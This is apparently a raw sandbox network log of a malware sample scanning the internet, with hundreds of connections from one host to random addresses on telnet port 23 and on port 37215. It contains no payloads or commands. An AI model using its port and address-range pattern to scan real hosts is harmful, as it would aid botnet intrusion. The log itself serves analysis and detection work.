Dec 3, 2024 21:47:22.078552008 CET	40955	23	192.168.2.13	38.36.54.102
Dec 3, 2024 21:47:22.078558922 CET	40955	23	192.168.2.13	170.113.192.152
Dec 3, 2024 21:47:22.078564882 CET	40955	23	192.168.2.13	104.212.152.144
Dec 3, 2024 21:47:22.078576088 CET	40955	23	192.168.2.13	167.252.97.121
Dec 3, 2024 21:47:22.078583956 CET	40955	23	192.168.2.13	137.71.58.138
Dec 3, 2024 21:47:22.078593969 CET	40955	23	192.168.2.13	93.232.4.225
Dec 3, 2024 21:47:22.078603983 CET	40955	23	192.168.2.13	1.90.48.166
Dec 3, 2024 21:47:22.078609943 CET	40955	23	192.168.2.13	179.43.224.245
Dec 3, 2024 21:47:22.078619003 CET	40955	23	192.168.2.13	125.236.50.83
Dec 3, 2024 21:47:22.078624964 CET	40955	23	192.168.2.13	72.105.70.225
Dec 3, 2024 21:47:22.078639984 CET	40955	23	192.168.2.13	183.91.56.208
Dec 3, 2024 21:47:22.078651905 CET	40955	23	192.168.2.13	219.126.168.108
Dec 3, 2024 21:47:22.078661919 CET	40955	23	192.168.2.13	150.108.236.2
Dec 3, 2024 21:47:22.078666925 CET	40955	23	192.168.2.13	97.85.18.234
Dec 3, 2024 21:47:22.078680038 CET	40955	23	192.168.2.13	72.95.6.41
Dec 3, 2024 21:47:22.078680038 CET	40955	23	192.168.2.13	52.180.38.83
Dec 3, 2024 21:47:22.078696966 CET	40955	23	192.168.2.13	199.171.215.10
Dec 3, 2024 21:47:22.078705072 CET	40955	23	192.168.2.13	204.80.167.3
Dec 3, 2024 21:47:22.078717947 CET	40955	23	192.168.2.13	111.233.209.255
Dec 3, 2024 21:47:22.078720093 CET	40955	23	192.168.2.13	91.201.239.27
Dec 3, 2024 21:47:22.078737020 CET	40955	23	192.168.2.13	168.48.12.92
Dec 3, 2024 21:47:22.078737974 CET	40955	23	192.168.2.13	158.147.64.165
Dec 3, 2024 21:47:22.078746080 CET	40955	23	192.168.2.13	67.23.249.133
Dec 3, 2024 21:47:22.078752995 CET	40955	23	192.168.2.13	82.209.59.229
Dec 3, 2024 21:47:22.078762054 CET	40955	23	192.168.2.13	154.73.99.8
Dec 3, 2024 21:47:22.078778028 CET	40955	23	192.168.2.13	105.250.13.252
Dec 3, 2024 21:47:22.078779936 CET	40955	23	192.168.2.13	163.174.247.104
Dec 3, 2024 21:47:22.078790903 CET	40955	23	192.168.2.13	212.239.75.31
Dec 3, 2024 21:47:22.078790903 CET	40955	23	192.168.2.13	171.180.121.181
Dec 3, 2024 21:47:22.078805923 CET	40955	23	192.168.2.13	163.19.10.201
Dec 3, 2024 21:47:22.078815937 CET	40955	23	192.168.2.13	50.100.126.196
Dec 3, 2024 21:47:22.078821898 CET	40955	23	192.168.2.13	197.156.117.21
Dec 3, 2024 21:47:22.078840971 CET	40955	23	192.168.2.13	164.149.67.229
Dec 3, 2024 21:47:22.078845978 CET	40955	23	192.168.2.13	162.77.201.8
Dec 3, 2024 21:47:22.078860998 CET	40955	23	192.168.2.13	88.30.241.208
Dec 3, 2024 21:47:22.078869104 CET	40955	23	192.168.2.13	97.34.24.209
Dec 3, 2024 21:47:22.078876972 CET	40955	23	192.168.2.13	96.59.148.164
Dec 3, 2024 21:47:22.078887939 CET	40955	23	192.168.2.13	107.56.142.182
Dec 3, 2024 21:47:22.078893900 CET	40955	23	192.168.2.13	38.149.203.43
Dec 3, 2024 21:47:22.078907013 CET	40955	23	192.168.2.13	57.190.141.96
Dec 3, 2024 21:47:22.078912973 CET	40955	23	192.168.2.13	152.108.202.205
Dec 3, 2024 21:47:22.078928947 CET	40955	23	192.168.2.13	144.71.187.248
Dec 3, 2024 21:47:22.078933001 CET	40955	23	192.168.2.13	183.204.241.33
Dec 3, 2024 21:47:22.078933001 CET	40955	23	192.168.2.13	220.148.205.65
Dec 3, 2024 21:47:22.078943014 CET	40955	23	192.168.2.13	147.249.225.227
Dec 3, 2024 21:47:22.078954935 CET	40955	23	192.168.2.13	53.18.25.27
Dec 3, 2024 21:47:22.078958035 CET	40955	23	192.168.2.13	5.107.204.90
Dec 3, 2024 21:47:22.078973055 CET	40955	23	192.168.2.13	128.251.155.53
Dec 3, 2024 21:47:22.078974962 CET	40955	23	192.168.2.13	191.98.54.57
Dec 3, 2024 21:47:22.078979969 CET	40955	23	192.168.2.13	109.241.180.63
Dec 3, 2024 21:47:22.078988075 CET	40955	23	192.168.2.13	199.43.248.104
Dec 3, 2024 21:47:22.079003096 CET	40955	23	192.168.2.13	40.106.234.175
Dec 3, 2024 21:47:22.079005003 CET	40955	23	192.168.2.13	182.252.228.113
Dec 3, 2024 21:47:22.079025030 CET	40955	23	192.168.2.13	86.43.41.153
Dec 3, 2024 21:47:22.079025984 CET	40955	23	192.168.2.13	170.78.237.125
Dec 3, 2024 21:47:22.079035044 CET	40955	23	192.168.2.13	70.230.145.104
Dec 3, 2024 21:47:22.079050064 CET	40955	23	192.168.2.13	51.85.39.238
Dec 3, 2024 21:47:22.079051018 CET	40955	23	192.168.2.13	159.225.136.178
Dec 3, 2024 21:47:22.079061985 CET	40955	23	192.168.2.13	88.113.111.33
Dec 3, 2024 21:47:22.079062939 CET	40955	23	192.168.2.13	211.161.196.47
Dec 3, 2024 21:47:22.079063892 CET	40955	23	192.168.2.13	149.168.197.198
Dec 3, 2024 21:47:22.079075098 CET	40955	23	192.168.2.13	126.177.98.113
Dec 3, 2024 21:47:22.079086065 CET	40955	23	192.168.2.13	150.208.182.48
Dec 3, 2024 21:47:22.079092026 CET	40955	23	192.168.2.13	9.5.245.143
Dec 3, 2024 21:47:22.079101086 CET	40955	23	192.168.2.13	2.165.157.130
Dec 3, 2024 21:47:22.079113960 CET	40955	23	192.168.2.13	189.178.179.139
Dec 3, 2024 21:47:22.079123974 CET	40955	23	192.168.2.13	78.6.167.74
Dec 3, 2024 21:47:22.079123974 CET	40955	23	192.168.2.13	204.2.25.206
Dec 3, 2024 21:47:22.079133034 CET	40955	23	192.168.2.13	128.73.208.145
Dec 3, 2024 21:47:22.079144955 CET	40955	23	192.168.2.13	181.171.54.112
Dec 3, 2024 21:47:22.079159021 CET	40955	23	192.168.2.13	63.178.102.61
Dec 3, 2024 21:47:22.079165936 CET	40955	23	192.168.2.13	99.154.57.112
Dec 3, 2024 21:47:22.079174995 CET	40955	23	192.168.2.13	180.233.91.29
Dec 3, 2024 21:47:22.079186916 CET	40955	23	192.168.2.13	185.232.179.171
Dec 3, 2024 21:47:22.079199076 CET	40955	23	192.168.2.13	43.88.71.94
Dec 3, 2024 21:47:22.079205990 CET	40955	23	192.168.2.13	205.219.78.81
Dec 3, 2024 21:47:22.079210997 CET	40955	23	192.168.2.13	18.209.168.19
Dec 3, 2024 21:47:22.079221964 CET	40955	23	192.168.2.13	80.234.94.99
Dec 3, 2024 21:47:22.079235077 CET	40955	23	192.168.2.13	14.166.88.253
Dec 3, 2024 21:47:22.079241037 CET	40955	23	192.168.2.13	155.183.131.18
Dec 3, 2024 21:47:22.079247952 CET	40955	23	192.168.2.13	198.188.170.236
Dec 3, 2024 21:47:22.079261065 CET	40955	23	192.168.2.13	136.38.210.187
Dec 3, 2024 21:47:22.079265118 CET	40955	23	192.168.2.13	212.200.29.6
Dec 3, 2024 21:47:22.079282999 CET	40955	23	192.168.2.13	119.225.204.156
Dec 3, 2024 21:47:22.079283953 CET	40955	23	192.168.2.13	82.217.147.139
Dec 3, 2024 21:47:22.079282999 CET	40955	23	192.168.2.13	99.60.232.210
Dec 3, 2024 21:47:22.079296112 CET	40955	23	192.168.2.13	183.210.195.163
Dec 3, 2024 21:47:22.079308033 CET	40955	23	192.168.2.13	210.27.220.116
Dec 3, 2024 21:47:22.079318047 CET	40955	23	192.168.2.13	143.175.235.160
Dec 3, 2024 21:47:22.079324961 CET	40955	23	192.168.2.13	82.38.84.15
Dec 3, 2024 21:47:22.079335928 CET	40955	23	192.168.2.13	112.94.82.162
Dec 3, 2024 21:47:22.079335928 CET	40955	23	192.168.2.13	58.142.234.13
Dec 3, 2024 21:47:22.079345942 CET	40955	23	192.168.2.13	35.191.65.229
Dec 3, 2024 21:47:22.079365015 CET	40955	23	192.168.2.13	84.32.160.149
Dec 3, 2024 21:47:22.079370975 CET	40955	23	192.168.2.13	155.200.254.245
Dec 3, 2024 21:47:22.079376936 CET	40955	23	192.168.2.13	133.126.227.53
Dec 3, 2024 21:47:22.079382896 CET	40955	23	192.168.2.13	74.232.115.10
Dec 3, 2024 21:47:22.079394102 CET	40955	23	192.168.2.13	212.182.3.2
Dec 3, 2024 21:47:22.079394102 CET	40955	23	192.168.2.13	44.98.41.204
Dec 3, 2024 21:47:22.079406977 CET	40955	23	192.168.2.13	155.149.106.30
Dec 3, 2024 21:47:22.079416990 CET	40955	23	192.168.2.13	102.2.65.79
Dec 3, 2024 21:47:22.079417944 CET	40955	23	192.168.2.13	217.160.18.173
Dec 3, 2024 21:47:22.079427958 CET	40955	23	192.168.2.13	141.190.237.222
Dec 3, 2024 21:47:22.079432011 CET	40955	23	192.168.2.13	8.147.126.40
Dec 3, 2024 21:47:22.079449892 CET	40955	23	192.168.2.13	107.9.159.37
Dec 3, 2024 21:47:22.079457045 CET	40955	23	192.168.2.13	210.128.130.192
Dec 3, 2024 21:47:22.079463005 CET	40955	23	192.168.2.13	179.134.192.216
Dec 3, 2024 21:47:22.079468966 CET	40955	23	192.168.2.13	212.173.192.220
Dec 3, 2024 21:47:22.079480886 CET	40955	23	192.168.2.13	1.83.106.140
Dec 3, 2024 21:47:22.079488993 CET	40955	23	192.168.2.13	135.230.218.29
Dec 3, 2024 21:47:22.079493046 CET	40955	23	192.168.2.13	88.2.109.142
Dec 3, 2024 21:47:22.079507113 CET	40955	23	192.168.2.13	18.97.164.234
Dec 3, 2024 21:47:22.079509020 CET	40955	23	192.168.2.13	209.111.41.81
Dec 3, 2024 21:47:22.079521894 CET	40955	23	192.168.2.13	165.145.68.186
Dec 3, 2024 21:47:22.079521894 CET	40955	23	192.168.2.13	54.158.173.145
Dec 3, 2024 21:47:22.079533100 CET	40955	23	192.168.2.13	115.3.183.114
Dec 3, 2024 21:47:22.079535961 CET	40955	23	192.168.2.13	154.164.135.5
Dec 3, 2024 21:47:22.079550028 CET	40955	23	192.168.2.13	152.239.153.32
Dec 3, 2024 21:47:22.079562902 CET	40955	23	192.168.2.13	221.178.166.214
Dec 3, 2024 21:47:22.079565048 CET	40955	23	192.168.2.13	96.17.110.45
Dec 3, 2024 21:47:22.079580069 CET	40955	23	192.168.2.13	116.89.66.203
Dec 3, 2024 21:47:22.079583883 CET	40955	23	192.168.2.13	133.196.225.211
Dec 3, 2024 21:47:22.079596043 CET	40955	23	192.168.2.13	125.174.173.212
Dec 3, 2024 21:47:22.079607010 CET	40955	23	192.168.2.13	44.222.66.202
Dec 3, 2024 21:47:22.079616070 CET	40955	23	192.168.2.13	103.138.87.26
Dec 3, 2024 21:47:22.079622984 CET	40955	23	192.168.2.13	151.148.19.234
Dec 3, 2024 21:47:22.079628944 CET	40955	23	192.168.2.13	156.101.32.244
Dec 3, 2024 21:47:22.079632044 CET	40955	23	192.168.2.13	163.170.184.158
Dec 3, 2024 21:47:22.079641104 CET	40955	23	192.168.2.13	52.77.207.172
Dec 3, 2024 21:47:22.079654932 CET	40955	23	192.168.2.13	129.155.65.214
Dec 3, 2024 21:47:22.079668045 CET	40955	23	192.168.2.13	198.229.168.20
Dec 3, 2024 21:47:22.079668045 CET	40955	23	192.168.2.13	50.22.130.253
Dec 3, 2024 21:47:22.079679012 CET	40955	23	192.168.2.13	38.129.249.64
Dec 3, 2024 21:47:22.079688072 CET	40955	23	192.168.2.13	191.1.226.162
Dec 3, 2024 21:47:22.079694033 CET	40955	23	192.168.2.13	24.237.36.186
Dec 3, 2024 21:47:22.079710960 CET	40955	23	192.168.2.13	171.189.97.67
Dec 3, 2024 21:47:22.079714060 CET	40955	23	192.168.2.13	47.66.73.45
Dec 3, 2024 21:47:22.079716921 CET	40955	23	192.168.2.13	222.94.13.119
Dec 3, 2024 21:47:22.079727888 CET	40955	23	192.168.2.13	151.127.115.97
Dec 3, 2024 21:47:22.079763889 CET	40955	23	192.168.2.13	170.244.95.90
Dec 3, 2024 21:47:22.079766035 CET	40955	23	192.168.2.13	221.208.179.75
Dec 3, 2024 21:47:22.079766989 CET	40955	23	192.168.2.13	31.141.84.223
Dec 3, 2024 21:47:22.079768896 CET	40955	23	192.168.2.13	189.69.96.206
Dec 3, 2024 21:47:22.079782009 CET	40955	23	192.168.2.13	46.53.207.76
Dec 3, 2024 21:47:22.079782009 CET	40955	23	192.168.2.13	217.155.217.238
Dec 3, 2024 21:47:22.079783916 CET	40955	23	192.168.2.13	153.145.21.206
Dec 3, 2024 21:47:22.079783916 CET	40955	23	192.168.2.13	34.21.198.66
Dec 3, 2024 21:47:22.079785109 CET	40955	23	192.168.2.13	106.182.215.13
Dec 3, 2024 21:47:22.094415903 CET	34043	37215	192.168.2.13	156.226.205.43
Dec 3, 2024 21:47:22.094419003 CET	34043	37215	192.168.2.13	156.124.192.21
Dec 3, 2024 21:47:22.094427109 CET	34043	37215	192.168.2.13	197.30.51.212
Dec 3, 2024 21:47:22.094435930 CET	34043	37215	192.168.2.13	197.113.99.61
Dec 3, 2024 21:47:22.094440937 CET	34043	37215	192.168.2.13	197.248.225.109
Dec 3, 2024 21:47:22.094444990 CET	34043	37215	192.168.2.13	41.120.82.231
Dec 3, 2024 21:47:22.094451904 CET	34043	37215	192.168.2.13	156.59.77.141
Dec 3, 2024 21:47:22.094460964 CET	34043	37215	192.168.2.13	156.249.19.174
Dec 3, 2024 21:47:22.094460964 CET	34043	37215	192.168.2.13	197.91.120.192
Dec 3, 2024 21:47:22.094463110 CET	34043	37215	192.168.2.13	41.214.155.25
Dec 3, 2024 21:47:22.094464064 CET	34043	37215	192.168.2.13	197.21.22.98
Dec 3, 2024 21:47:22.094464064 CET	34043	37215	192.168.2.13	197.215.14.140
Dec 3, 2024 21:47:22.094475031 CET	34043	37215	192.168.2.13	197.180.239.147
Dec 3, 2024 21:47:22.094475985 CET	34043	37215	192.168.2.13	41.124.73.242
Dec 3, 2024 21:47:22.094485998 CET	34043	37215	192.168.2.13	156.67.227.207
Dec 3, 2024 21:47:22.094485998 CET	34043	37215	192.168.2.13	41.87.136.236
Dec 3, 2024 21:47:22.094496012 CET	34043	37215	192.168.2.13	41.186.205.197
Dec 3, 2024 21:47:22.094505072 CET	34043	37215	192.168.2.13	156.29.169.78
Dec 3, 2024 21:47:22.094505072 CET	34043	37215	192.168.2.13	156.190.117.242
Dec 3, 2024 21:47:22.094523907 CET	34043	37215	192.168.2.13	41.45.44.128
Dec 3, 2024 21:47:22.094523907 CET	34043	37215	192.168.2.13	41.117.1.63
Dec 3, 2024 21:47:22.094525099 CET	34043	37215	192.168.2.13	197.124.59.177
Dec 3, 2024 21:47:22.094525099 CET	34043	37215	192.168.2.13	197.190.102.185
Dec 3, 2024 21:47:22.094535112 CET	34043	37215	192.168.2.13	41.57.199.16
Dec 3, 2024 21:47:22.094536066 CET	34043	37215	192.168.2.13	197.7.63.241
Dec 3, 2024 21:47:22.094538927 CET	34043	37215	192.168.2.13	41.239.120.68
Dec 3, 2024 21:47:22.094549894 CET	34043	37215	192.168.2.13	197.177.248.172
Dec 3, 2024 21:47:22.094553947 CET	34043	37215	192.168.2.13	156.134.66.255
Dec 3, 2024 21:47:22.094553947 CET	34043	37215	192.168.2.13	197.160.200.235
Dec 3, 2024 21:47:22.094568968 CET	34043	37215	192.168.2.13	156.115.229.203
Dec 3, 2024 21:47:22.094569921 CET	34043	37215	192.168.2.13	197.91.20.90
Dec 3, 2024 21:47:22.094575882 CET	34043	37215	192.168.2.13	197.172.141.253
Dec 3, 2024 21:47:22.094578981 CET	34043	37215	192.168.2.13	41.26.214.123
Dec 3, 2024 21:47:22.094597101 CET	34043	37215	192.168.2.13	41.79.193.23
Dec 3, 2024 21:47:22.094597101 CET	34043	37215	192.168.2.13	41.132.87.69
Dec 3, 2024 21:47:22.094599962 CET	34043	37215	192.168.2.13	197.134.57.19
Dec 3, 2024 21:47:22.094600916 CET	34043	37215	192.168.2.13	197.235.39.227
Dec 3, 2024 21:47:22.094609976 CET	34043	37215	192.168.2.13	197.148.235.128
Dec 3, 2024 21:47:22.094610929 CET	34043	37215	192.168.2.13	156.102.195.72
Dec 3, 2024 21:47:22.094629049 CET	34043	37215	192.168.2.13	41.125.4.242
Dec 3, 2024 21:47:22.094629049 CET	34043	37215	192.168.2.13	197.137.6.184
Dec 3, 2024 21:47:22.094634056 CET	34043	37215	192.168.2.13	41.100.148.23
Dec 3, 2024 21:47:22.094643116 CET	34043	37215	192.168.2.13	197.55.59.250
Dec 3, 2024 21:47:22.094645977 CET	34043	37215	192.168.2.13	197.96.134.102
Dec 3, 2024 21:47:22.094651937 CET	34043	37215	192.168.2.13	156.111.127.159
Dec 3, 2024 21:47:22.094655991 CET	34043	37215	192.168.2.13	41.36.177.139
Dec 3, 2024 21:47:22.094666958 CET	34043	37215	192.168.2.13	41.194.134.147
Dec 3, 2024 21:47:22.094671965 CET	34043	37215	192.168.2.13	156.102.131.25
Dec 3, 2024 21:47:22.094677925 CET	34043	37215	192.168.2.13	41.72.235.106
Dec 3, 2024 21:47:22.094679117 CET	34043	37215	192.168.2.13	41.108.111.216
Dec 3, 2024 21:47:22.094681025 CET	34043	37215	192.168.2.13	41.76.176.36
Dec 3, 2024 21:47:22.094683886 CET	34043	37215	192.168.2.13	197.94.177.212
Dec 3, 2024 21:47:22.094733953 CET	34043	37215	192.168.2.13	156.177.225.253
Dec 3, 2024 21:47:22.094737053 CET	34043	37215	192.168.2.13	41.101.42.225
Dec 3, 2024 21:47:22.094737053 CET	34043	37215	192.168.2.13	197.179.91.26
Dec 3, 2024 21:47:22.094737053 CET	34043	37215	192.168.2.13	197.91.91.244
Dec 3, 2024 21:47:22.094748020 CET	34043	37215	192.168.2.13	197.114.8.124
Dec 3, 2024 21:47:22.094748974 CET	34043	37215	192.168.2.13	156.147.120.72
Dec 3, 2024 21:47:22.094748020 CET	34043	37215	192.168.2.13	41.242.215.174
Dec 3, 2024 21:47:22.094748974 CET	34043	37215	192.168.2.13	156.19.162.30
Dec 3, 2024 21:47:22.094752073 CET	34043	37215	192.168.2.13	156.232.21.241
Dec 3, 2024 21:47:22.094755888 CET	34043	37215	192.168.2.13	156.176.26.116
Dec 3, 2024 21:47:22.094752073 CET	34043	37215	192.168.2.13	41.223.25.115
Dec 3, 2024 21:47:22.094752073 CET	34043	37215	192.168.2.13	156.34.87.17
Dec 3, 2024 21:47:22.094748020 CET	34043	37215	192.168.2.13	41.252.136.98
Dec 3, 2024 21:47:22.094752073 CET	34043	37215	192.168.2.13	41.180.252.84
Dec 3, 2024 21:47:22.094752073 CET	34043	37215	192.168.2.13	156.9.107.116
Dec 3, 2024 21:47:22.094760895 CET	34043	37215	192.168.2.13	197.241.252.133
Dec 3, 2024 21:47:22.094768047 CET	34043	37215	192.168.2.13	197.124.109.140
Dec 3, 2024 21:47:22.094769001 CET	34043	37215	192.168.2.13	41.35.39.37
Dec 3, 2024 21:47:22.094772100 CET	34043	37215	192.168.2.13	41.138.175.102
Dec 3, 2024 21:47:22.094782114 CET	34043	37215	192.168.2.13	41.215.135.191
Dec 3, 2024 21:47:22.094782114 CET	34043	37215	192.168.2.13	41.86.23.58
Dec 3, 2024 21:47:22.094798088 CET	34043	37215	192.168.2.13	156.80.225.225
Dec 3, 2024 21:47:22.094801903 CET	34043	37215	192.168.2.13	41.92.222.140
Dec 3, 2024 21:47:22.094801903 CET	34043	37215	192.168.2.13	197.164.178.13
Dec 3, 2024 21:47:22.094810009 CET	34043	37215	192.168.2.13	197.242.8.255
Dec 3, 2024 21:47:22.094810963 CET	34043	37215	192.168.2.13	156.247.161.35
Dec 3, 2024 21:47:22.094810963 CET	34043	37215	192.168.2.13	41.137.250.100
Dec 3, 2024 21:47:22.094818115 CET	34043	37215	192.168.2.13	41.143.189.151
Dec 3, 2024 21:47:22.094821930 CET	34043	37215	192.168.2.13	156.91.111.34
Dec 3, 2024 21:47:22.094821930 CET	34043	37215	192.168.2.13	156.64.119.181
Dec 3, 2024 21:47:22.094821930 CET	34043	37215	192.168.2.13	197.33.161.63
Dec 3, 2024 21:47:22.094827890 CET	34043	37215	192.168.2.13	197.215.140.151
Dec 3, 2024 21:47:22.094832897 CET	34043	37215	192.168.2.13	41.73.1.182
Dec 3, 2024 21:47:22.094837904 CET	34043	37215	192.168.2.13	197.218.85.98
Dec 3, 2024 21:47:22.094841957 CET	34043	37215	192.168.2.13	41.147.65.185
Dec 3, 2024 21:47:22.094852924 CET	34043	37215	192.168.2.13	197.50.113.95
Dec 3, 2024 21:47:22.094856977 CET	34043	37215	192.168.2.13	41.1.87.212
Dec 3, 2024 21:47:22.094857931 CET	34043	37215	192.168.2.13	41.10.23.109
Dec 3, 2024 21:47:22.094867945 CET	34043	37215	192.168.2.13	41.174.234.172
Dec 3, 2024 21:47:22.094867945 CET	34043	37215	192.168.2.13	41.136.211.39
Dec 3, 2024 21:47:22.094876051 CET	34043	37215	192.168.2.13	156.121.238.60
Dec 3, 2024 21:47:22.094888926 CET	34043	37215	192.168.2.13	156.55.175.241
Dec 3, 2024 21:47:22.094888926 CET	34043	37215	192.168.2.13	156.246.116.93
Dec 3, 2024 21:47:22.094890118 CET	34043	37215	192.168.2.13	197.25.179.67
Dec 3, 2024 21:47:22.094892025 CET	34043	37215	192.168.2.13	156.32.182.109
Dec 3, 2024 21:47:22.094896078 CET	34043	37215	192.168.2.13	41.206.121.39
Dec 3, 2024 21:47:22.094902039 CET	34043	37215	192.168.2.13	41.198.44.84
Dec 3, 2024 21:47:22.094904900 CET	34043	37215	192.168.2.13	156.153.100.87
Dec 3, 2024 21:47:22.094913960 CET	34043	37215	192.168.2.13	156.181.193.139
Dec 3, 2024 21:47:22.094918966 CET	34043	37215	192.168.2.13	197.81.94.236
Dec 3, 2024 21:47:22.094922066 CET	34043	37215	192.168.2.13	41.201.149.115
Dec 3, 2024 21:47:22.094927073 CET	34043	37215	192.168.2.13	41.69.179.224
Dec 3, 2024 21:47:22.094934940 CET	34043	37215	192.168.2.13	41.49.101.255
Dec 3, 2024 21:47:22.094948053 CET	34043	37215	192.168.2.13	197.125.115.137
Dec 3, 2024 21:47:22.094949007 CET	34043	37215	192.168.2.13	41.102.254.18
Dec 3, 2024 21:47:22.094949007 CET	34043	37215	192.168.2.13	41.236.42.120
Dec 3, 2024 21:47:22.094958067 CET	34043	37215	192.168.2.13	197.109.194.48
Dec 3, 2024 21:47:22.094958067 CET	34043	37215	192.168.2.13	156.145.101.66
Dec 3, 2024 21:47:22.094958067 CET	34043	37215	192.168.2.13	41.139.106.118
Dec 3, 2024 21:47:22.094964981 CET	34043	37215	192.168.2.13	197.133.249.241
Dec 3, 2024 21:47:22.094978094 CET	34043	37215	192.168.2.13	41.30.243.172
Dec 3, 2024 21:47:22.094985008 CET	34043	37215	192.168.2.13	156.229.176.5
Dec 3, 2024 21:47:22.094986916 CET	34043	37215	192.168.2.13	41.23.144.131
Dec 3, 2024 21:47:22.094986916 CET	34043	37215	192.168.2.13	41.251.39.17
Dec 3, 2024 21:47:22.094989061 CET	34043	37215	192.168.2.13	156.91.254.242
Dec 3, 2024 21:47:22.095007896 CET	34043	37215	192.168.2.13	156.133.233.136
Dec 3, 2024 21:47:22.095010996 CET	34043	37215	192.168.2.13	197.155.30.209
Dec 3, 2024 21:47:22.095010996 CET	34043	37215	192.168.2.13	197.58.20.14
Dec 3, 2024 21:47:22.095019102 CET	34043	37215	192.168.2.13	197.11.171.194
Dec 3, 2024 21:47:22.095019102 CET	34043	37215	192.168.2.13	156.217.70.146
Dec 3, 2024 21:47:22.095021963 CET	34043	37215	192.168.2.13	156.215.24.22
Dec 3, 2024 21:47:22.095022917 CET	34043	37215	192.168.2.13	197.235.165.17
Dec 3, 2024 21:47:22.095027924 CET	34043	37215	192.168.2.13	41.92.145.110
Dec 3, 2024 21:47:22.095032930 CET	34043	37215	192.168.2.13	41.146.161.145
Dec 3, 2024 21:47:22.095038891 CET	34043	37215	192.168.2.13	197.137.163.132
Dec 3, 2024 21:47:22.095052958 CET	34043	37215	192.168.2.13	197.20.127.203
Dec 3, 2024 21:47:22.095052958 CET	34043	37215	192.168.2.13	41.86.45.176
Dec 3, 2024 21:47:22.095069885 CET	34043	37215	192.168.2.13	41.151.6.241
Dec 3, 2024 21:47:22.095071077 CET	34043	37215	192.168.2.13	41.43.253.145
Dec 3, 2024 21:47:22.095071077 CET	34043	37215	192.168.2.13	156.17.53.31
Dec 3, 2024 21:47:22.095073938 CET	34043	37215	192.168.2.13	156.80.51.88
Dec 3, 2024 21:47:22.095076084 CET	34043	37215	192.168.2.13	197.120.63.80
Dec 3, 2024 21:47:22.095078945 CET	34043	37215	192.168.2.13	41.24.199.157
Dec 3, 2024 21:47:22.095078945 CET	34043	37215	192.168.2.13	41.165.169.77
Dec 3, 2024 21:47:22.095084906 CET	34043	37215	192.168.2.13	156.236.218.66
Dec 3, 2024 21:47:22.095089912 CET	34043	37215	192.168.2.13	41.223.23.206
Dec 3, 2024 21:47:22.095098019 CET	34043	37215	192.168.2.13	41.223.95.121
Dec 3, 2024 21:47:22.095099926 CET	34043	37215	192.168.2.13	197.42.124.101
Dec 3, 2024 21:47:22.095109940 CET	34043	37215	192.168.2.13	197.40.39.170
Dec 3, 2024 21:47:22.095112085 CET	34043	37215	192.168.2.13	41.42.98.6
Dec 3, 2024 21:47:22.095118999 CET	34043	37215	192.168.2.13	197.67.173.167
Dec 3, 2024 21:47:22.095125914 CET	34043	37215	192.168.2.13	156.223.114.112
Dec 3, 2024 21:47:22.095125914 CET	34043	37215	192.168.2.13	197.33.186.72
Dec 3, 2024 21:47:22.095135927 CET	34043	37215	192.168.2.13	197.139.134.81
Dec 3, 2024 21:47:22.095144033 CET	34043	37215	192.168.2.13	156.201.131.122
Dec 3, 2024 21:47:22.095149994 CET	34043	37215	192.168.2.13	197.225.50.236
Dec 3, 2024 21:47:22.095160007 CET	34043	37215	192.168.2.13	41.155.230.57
Dec 3, 2024 21:47:22.095160007 CET	34043	37215	192.168.2.13	197.165.135.170
Dec 3, 2024 21:47:22.095160007 CET	34043	37215	192.168.2.13	156.124.127.128
Dec 3, 2024 21:47:22.095170975 CET	34043	37215	192.168.2.13	41.154.135.114
Dec 3, 2024 21:47:22.095171928 CET	34043	37215	192.168.2.13	156.4.133.215
Dec 3, 2024 21:47:22.095177889 CET	34043	37215	192.168.2.13	41.16.125.5
Dec 3, 2024 21:47:22.095192909 CET	34043	37215	192.168.2.13	197.13.135.169
Dec 3, 2024 21:47:22.095194101 CET	34043	37215	192.168.2.13	197.107.172.56
Dec 3, 2024 21:47:22.095196962 CET	34043	37215	192.168.2.13	41.46.202.79
Dec 3, 2024 21:47:22.095200062 CET	34043	37215	192.168.2.13	41.174.225.253
Dec 3, 2024 21:47:22.095207930 CET	34043	37215	192.168.2.13	197.77.34.178
Dec 3, 2024 21:47:22.095207930 CET	34043	37215	192.168.2.13	156.54.119.157
Dec 3, 2024 21:47:22.095211029 CET	34043	37215	192.168.2.13	197.218.208.218
Dec 3, 2024 21:47:22.095216036 CET	34043	37215	192.168.2.13	41.183.96.69
Dec 3, 2024 21:47:22.095221043 CET	34043	37215	192.168.2.13	197.14.26.170
Dec 3, 2024 21:47:22.095232010 CET	34043	37215	192.168.2.13	156.212.32.38
Dec 3, 2024 21:47:22.095237970 CET	34043	37215	192.168.2.13	41.187.75.97
Dec 3, 2024 21:47:22.095238924 CET	34043	37215	192.168.2.13	197.90.230.233
Dec 3, 2024 21:47:22.095244884 CET	34043	37215	192.168.2.13	156.75.197.23
Dec 3, 2024 21:47:22.095252037 CET	34043	37215	192.168.2.13	41.216.79.87
Dec 3, 2024 21:47:22.095252037 CET	34043	37215	192.168.2.13	197.131.111.151
Dec 3, 2024 21:47:22.095263004 CET	34043	37215	192.168.2.13	156.39.50.228
Dec 3, 2024 21:47:22.095266104 CET	34043	37215	192.168.2.13	197.62.180.6
Dec 3, 2024 21:47:22.095278025 CET	34043	37215	192.168.2.13	156.151.57.107
Dec 3, 2024 21:47:22.095282078 CET	34043	37215	192.168.2.13	41.245.176.4
Dec 3, 2024 21:47:22.095283031 CET	34043	37215	192.168.2.13	41.8.6.167
Dec 3, 2024 21:47:22.095292091 CET	34043	37215	192.168.2.13	156.242.235.188
Dec 3, 2024 21:47:22.095294952 CET	34043	37215	192.168.2.13	197.179.4.189
Dec 3, 2024 21:47:22.095298052 CET	34043	37215	192.168.2.13	197.102.218.29
Dec 3, 2024 21:47:22.095303059 CET	34043	37215	192.168.2.13	156.111.76.64
Dec 3, 2024 21:47:22.095319033 CET	34043	37215	192.168.2.13	41.84.218.193
Dec 3, 2024 21:47:22.095324993 CET	34043	37215	192.168.2.13	156.18.66.104
Dec 3, 2024 21:47:22.095325947 CET	34043	37215	192.168.2.13	41.189.230.168
Dec 3, 2024 21:47:22.095331907 CET	34043	37215	192.168.2.13	197.116.161.149
Dec 3, 2024 21:47:22.095334053 CET	34043	37215	192.168.2.13	41.249.27.235
Dec 3, 2024 21:47:22.095339060 CET	34043	37215	192.168.2.13	41.252.181.169
Dec 3, 2024 21:47:22.095349073 CET	34043	37215	192.168.2.13	41.226.224.221
Dec 3, 2024 21:47:22.095365047 CET	34043	37215	192.168.2.13	41.221.48.40
Dec 3, 2024 21:47:22.095366955 CET	34043	37215	192.168.2.13	197.230.236.165
Dec 3, 2024 21:47:22.095366001 CET	34043	37215	192.168.2.13	156.90.74.1
